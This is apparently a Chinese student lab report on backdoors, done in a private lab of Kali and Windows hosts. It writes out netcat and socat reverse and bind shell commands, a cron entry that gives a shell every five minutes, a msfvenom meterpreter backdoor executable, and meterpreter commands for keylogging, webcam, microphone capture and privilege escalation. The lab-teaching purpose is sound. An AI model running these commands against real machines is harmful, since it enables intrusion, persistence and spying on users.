目录
1 相关概念
1.1 后门?
- 后门就是不经过正常认证流程而访问系统的通道。
1.2 哪里有后门?
- 编译器留后门
- 操作系统留后门
- 应用程序中留后门(最常见)
- 潜伏于操作系统中/伪装为特定应用的专门后门程序
2 常用后门工具
2.1 NC/netcat
- 相关介绍
- Netcat是一种功能强大的联网实用程序,可使用TCP / IP协议跨网络连接读取和写入数据
- http://nc110.sourceforge.net/
- http://netcat.sourceforge.net/.
- 提供以下主要功能的访问
- 与任何端口的出站和入站连接(TCP或UDP)
- 特色隧道模式,它还允许特殊的隧道,例如UDP到TCP,并可以指定所有网络参数(源端口/接口,侦听端口/接口和允许连接到隧道的远程主机)。
内置端口扫描功能,带有随机发生器 - 高级用法选项,例如缓冲的发送模式(每N秒一行)和已传输和接收的数据的十六进制转储(到stderr或到指定的文件)
- 可选的RFC854 telnet代码解析器和响应器
- 系统
- Linux:一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- 下载ncat.rar,解压即可使用
- Win获得Linux Shell 基于win7/kali linux
- 获取windows主机ip地址:
ipconfig/all
- windows打开监听:
ncat.exe -l -p 8888
- Linux反弹连接windows:
nc 192.168.137.133 8888 -e /bin/sh
- windows获得一个linux shell,可运行任何指令:我们试一下ls指令
- 获取windows主机ip地址:
- Linux获得Win Shell
- 获取Linux主机ip地址:
ifconfig/all
- Linux运行监听指令:
nc -l -p 8888
- Windows反弹连接Linux:
ncat.exe -e cmd.exe 192.168.137.130 8888
- Linux下看到Windows的命令提示:我们试一下dir指令和whoami指令
- 获取Linux主机ip地址:
- Netcat扩展知识
- 参考:①Netcat使用指南,②netcat使用方法简介
- Socat--Netcat Plus
参考:SOCAT 简介
Windows版本下载
2.2 Meterpreter
2.3 corn
- corn机制
- cron可以让系统在指定的时间,去执行某个指定的工作,我们可以使用crontab指令来管理cron机制
-
corntab表达式
+---------------- minute 分钟(0 - 59) | +------------- hour 小时(0 - 23) | | +---------- day 日期(1 - 31) | | | +------- month 月份(1 - 12) | | | | +---- week 星期(0 - 7) (星期天=0 or 7) | | | | | * * * * * 要运行的命令
- crontab命令
-
man crontab
查看命令手册
-
- corn使用示例
- 创建corn任务:
crontab -e
任意选择一个编辑器我使用的是nano*/1 * * * * echo "Have a break now." >> /tmp/test.txt
每隔1分钟输出Have a break now到/tmp/test.txt
- 查看定时任务:
crontab -l
- 捕捉/tmp/test.txt
- 创建corn任务:
3 实验内容
3.1 使用netcat获取主机操作Shell,cron启动
-
Win 开启监听:
ncat.exe -l -p 8888
- Kali cron启动:每5分钟相应ip主机会获得一个shell
crontab -e
*/5 * * * * /bin/netcat 192.168.137.133 8888 -e /bin/sh
五分钟后……
3.2 使用socat获取主机操作Shell,任务计划启动
-
Win创建socat任务
- 控制面板-->管理工具-->任务计划程序-->创建任务(右侧边栏)
- 常规:设置名称 我设置的是20175207
- 触发器:新建(设置如下)
- 操作:新建(设置如下)
~程序或脚本~中为~socat.exe~的路径
~添加参数~中为tcp-listen:8888 exec:cmd.exe,pty,stderr
把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout
- 依次确认
- 查看20175207任务状态为准备就绪,点击运行
-
Kali 在Linux中获取cmd shell:
socat - tcp:192.168.137.133:8888
3.3 使用 MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
Kali Linux中生成后门可执行文件
注意:这里的ip地址为控制端ip,即kali主机的ip
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=8888 -f exe > 20175207_backdoor.exe
- 将后门文件20175207_backdoor.exe传送到Win7主机中
-
Win
ncat.exe -lv 8888 > 20175207_backdoor.exe
-
Kali
nc 192.168.137.133 8888 < 20175207_backdoor.exe
注意:这里的IP地址为被控主机IP,即Win7的ip - 查看Win7中是否有后门文件
-
Win
-
Kali 进行监听
- 进入msf控制台:
msfconsole
- 使用监听模块,设置payload,开始监听(配置如下)
注意:set LHOST用的是控制端ip,即Kali的ip
- 进入msf控制台:
-
Win 运行后门程序
提前设置后门程序可通过防火墙
3.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
- 获取音频:
recorf_mic
- 获取摄像头:
webcam_snap
- 屏幕截图:
screenshot
- 击键记录
- 开启键盘记录功能:keyscan_start
- 显示捕捉到的键盘记录信息:keyscan_dump
- 停止键盘记录功能:keyscan_stop
- 提权:
getsystem
system是最高权限 - 查看当前用户:
getuid
提权失败原因是当前用户为管理员
3.5 使用MSF生成shellcode,注入到实践1的pwn1中,获取反弹连接Shell
4 问题思考
- 列举你能想到的一个后门进入到你系统的可能方式?
- 从网络上下载的文件有后门
- 列举你知道的后门如何启动起来的方式(Win/Linux)
- 后门绑定线程
- 修改注册表
- Metepreter有哪些给你印象深刻的功能?
- 构造Shellcode
- 查看进程并进行相关操作
- 远程控制桌面
- 本机监听
- 如何发现自己的系统有没有被安装后门?
5 实验中遇到的问题
- Win7中运行后门程序出现APPCRASH错误
- 没有找到合适的解决方法,换了win10重新操作
- Win10中创建任务后无法成功运行
- 配置防火墙,允许socat.exe通过防火墙
- 运行任务后Kali监听不到主机
- 主机停止任务,重新运行任务